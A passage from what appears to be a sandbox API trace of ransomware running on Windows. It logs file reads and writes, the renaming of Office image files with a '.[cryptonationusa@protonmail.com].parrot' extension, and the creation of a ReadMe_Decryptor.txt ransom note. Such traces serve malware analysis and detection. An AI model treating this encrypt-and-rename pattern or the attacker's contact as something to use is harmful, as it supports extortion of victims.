(HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0188.758] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0188.758] GetLastError () returned 0x0 [0188.759] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.759] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0188.762] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0188.762] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0188.762] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0188.762] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0188.762] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0188.762] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0188.762] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0188.762] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0188.762] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0188.762] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0188.765] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0188.766] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0188.766] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0188.766] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0188.766] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0188.766] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0188.766] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0188.766] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0188.766] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0188.766] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0188.766] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0188.766] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0188.766] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6588b0 [0188.766] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0188.766] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262140 [0188.768] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6588b0 | out: hHeap=0x5b0000) returned 1 [0188.768] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176fd0 [0188.768] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262140 | out: hHeap=0x5b0000) returned 1 [0188.768] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x643228 [0188.768] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176fd0 | out: hHeap=0x5b0000) returned 1 [0188.768] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x22aa070 [0188.768] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0188.768] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0188.768] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22aa070 | out: hHeap=0x5b0000) returned 1 [0188.768] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0188.768] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0188.768] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0188.770] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0188.770] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0188.770] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0188.770] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0188.770] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0188.770] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0188.770] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0188.770] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x31da4f0 [0188.770] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0188.770] WriteFile (in: hFile=0x1b4, lpBuffer=0x31da500*, nNumberOfBytesToWrite=0x2208, lpNumberOfBytesWritten=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x31da500*, lpNumberOfBytesWritten=0x18e314*=0x2208, lpOverlapped=0x0) returned 1 [0188.774] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31da4f0 | out: hHeap=0x5b0000) returned 1 [0188.774] UnlockFile (hFile=0x1b4, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2200, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0188.774] CloseHandle (hObject=0x1b4) returned 1 [0188.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x2297a90 [0188.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x166) returned 0x696268 [0188.774] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2297a90 | out: hHeap=0x5b0000) returned 1 [0188.776] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\EmbeddedView.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\embeddedview.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\EmbeddedView.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\embeddedview.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0188.814] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x696268 | out: hHeap=0x5b0000) returned 1 [0188.814] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0188.814] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x5b0000) returned 1 [0188.814] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x228fd28 [0188.814] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x2297a90 [0188.814] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0188.814] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0188.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\ReadMe_Decryptor.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e108, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0188.817] GetFileType (hFile=0x1b4) returned 0x1 [0188.817] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0188.828] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0188.828] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0188.895] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.896] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3e72, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x3e72, lpOverlapped=0x0) returned 1 [0188.897] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0188.897] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0188.897] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0188.897] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0188.897] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0188.897] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0188.897] GetLastError () returned 0x0 [0188.899] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.899] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0188.899] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0188.899] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0188.899] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0188.899] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0188.899] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0188.899] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0188.899] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0188.899] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0188.899] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0188.899] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0188.899] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0188.899] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0188.899] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0188.899] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0188.899] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0188.899] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0188.899] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0188.899] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0188.900] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0188.900] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0188.900] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0188.900] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0188.900] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6588b0 [0188.900] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0188.900] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262140 [0188.900] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6588b0 | out: hHeap=0x5b0000) returned 1 [0188.900] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176fd0 [0188.900] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262140 | out: hHeap=0x5b0000) returned 1 [0188.900] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x643228 [0188.900] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176fd0 | out: hHeap=0x5b0000) returned 1 [0188.900] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x22aa070 [0188.900] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0188.900] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0188.900] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22aa070 | out: hHeap=0x5b0000) returned 1 [0188.900] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0188.900] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0188.900] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0188.900] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0188.900] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0188.900] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0188.900] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0188.900] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0188.900] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0188.900] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0188.900] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x31da4f0 [0188.900] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0188.900] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x22e8070 [0188.900] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31da4f0 | out: hHeap=0x5b0000) returned 1 [0188.900] WriteFile (in: hFile=0x1b4, lpBuffer=0x22e8080*, nNumberOfBytesToWrite=0x3f98, lpNumberOfBytesWritten=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x22e8080*, lpNumberOfBytesWritten=0x18e314*=0x3f98, lpOverlapped=0x0) returned 1 [0188.904] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e8070 | out: hHeap=0x5b0000) returned 1 [0188.904] UnlockFile (hFile=0x1b4, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3f8a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0188.904] CloseHandle (hObject=0x1b4) returned 1 [0188.904] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x31a9698 [0188.904] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14e) returned 0x645b90 [0188.904] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a9698 | out: hHeap=0x5b0000) returned 1 [0188.905] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\HEADING.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\heading.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\HEADING.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\heading.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0188.906] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x645b90 | out: hHeap=0x5b0000) returned 1 [0188.906] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0188.906] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x5b0000) returned 1 [0188.906] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x228fd28 [0188.906] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x2297a90 [0188.906] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0188.906] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0188.909] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0188.910] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0188.911] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.911] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x139a, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x139a, lpOverlapped=0x0) returned 1 [0188.912] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0188.912] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0188.912] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0188.912] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0188.912] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0188.912] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0188.912] GetLastError () returned 0x0 [0188.912] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.912] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0188.912] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0188.912] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0188.912] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0188.912] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0188.912] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0188.913] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0188.913] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0188.913] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0188.913] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0188.913] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0188.913] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0188.913] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0188.913] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0188.913] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0188.913] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0188.913] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0188.913] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0188.913] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0188.913] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0188.913] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0188.913] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0188.913] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0188.913] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6588b0 [0188.913] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0188.913] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262140 [0188.913] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6588b0 | out: hHeap=0x5b0000) returned 1 [0188.913] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176fd0 [0188.913] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262140 | out: hHeap=0x5b0000) returned 1 [0188.913] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x643228 [0188.913] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176fd0 | out: hHeap=0x5b0000) returned 1 [0188.913] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x22aa070 [0188.913] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0188.913] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0188.913] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22aa070 | out: hHeap=0x5b0000) returned 1 [0188.913] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0188.913] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0188.913] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0188.913] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0188.914] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0188.914] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0188.914] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0188.914] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0188.914] WriteFile (in: hFile=0x1b4, lpBuffer=0x5cee60*, nNumberOfBytesToWrite=0x14b8, lpNumberOfBytesWritten=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x5cee60*, lpNumberOfBytesWritten=0x18e314*=0x14b8, lpOverlapped=0x0) returned 1 [0188.917] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0188.917] UnlockFile (hFile=0x1b4, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x14b2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0188.917] CloseHandle (hObject=0x1b4) returned 1 [0188.917] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x31a9698 [0188.917] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14e) returned 0x645b90 [0188.917] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a9698 | out: hHeap=0x5b0000) returned 1 [0188.917] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\IMAGE.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\image.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\IMAGE.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\image.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0188.918] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x645b90 | out: hHeap=0x5b0000) returned 1 [0188.918] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0188.918] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31cc470 | out: hHeap=0x5b0000) returned 1 [0188.918] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x228fd28 [0188.918] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x2297a90 [0188.918] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0188.919] RtlAllocateHeap 